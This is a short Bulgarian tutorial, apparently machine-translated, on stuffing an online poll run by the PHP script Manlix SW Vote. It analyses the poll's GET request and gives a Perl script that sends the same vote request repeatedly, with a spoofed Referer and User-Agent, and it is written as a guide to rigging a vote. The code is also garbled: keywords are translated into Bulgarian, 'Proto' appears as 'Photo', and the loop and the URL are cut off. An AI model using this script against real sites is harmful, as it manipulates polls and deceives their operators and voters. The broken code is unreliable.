Навиваме брояча на гласовете на конкретен пример

В тази статия ще ви кажа как да „гласувате сайта си“ много пъти. Къде може да се използва? Да предположим, че в някой сайт са объркали гласуването на тема "Кой има най-заетата мацка?". И вие, разбира се, решихте да спечелите този вот.

Предлагани отговори: - Вася Пупкин (ти си) - Иванов - Петров - Сидоров . и по списък

Вземете например гласуването в PHP - Manlix SW Vote v 0.1

В html източника изглежда така:

Нека анализираме: ============ Данните на формуляра се предават на скрипта mnlxswvote.php с помощта на метода GET, номерът за гласуване също се предава там (скриптът може да поддържа множество гласувания) > Малък размисъл, става ясно, че трябва да подадете v=1 на скрипта много пъти.

Целият ред изглежда така: http://www.server.com/vote/mnlxswvote.php? >

Да напишем сценарий. =============== За това използвам Perl, защото може да се стартира от shell, който винаги е червата.

# Сървър за свързване, порт и път съответно $server="www.server.com"; $port="80"; # порт $path="vote/mnlxswvote.php? > # Колко пъти да се "гласува" $con=20;

# Loop for ($i=0;$i new( PeerAddr => $server, PeerPort => $port, Photo => tcp) die print "Не може да се свърже с $server:$port\n";

print $socket "GET $path HTTP/1.1\n"; печат $socket "Хост: $сървър\n"; печат $socket "Приемам: */*\n"; # Заместване на заглавка print $socket "Referer: http://support.microsoft.com/\n"; # Вашият агент print $socket "User-Agent: Internet Explorer 6.0\n"; # Деактивиране на кеша print $socket "Pragma: no-cache\n"; print $socket "Cache-Control: no-cache\n"; print $socket "Връзка:затвори\n\n";

Това е всичко. Ти спечели. И сега ще бъдете респектирани :) за "прочетете началото на статията."

---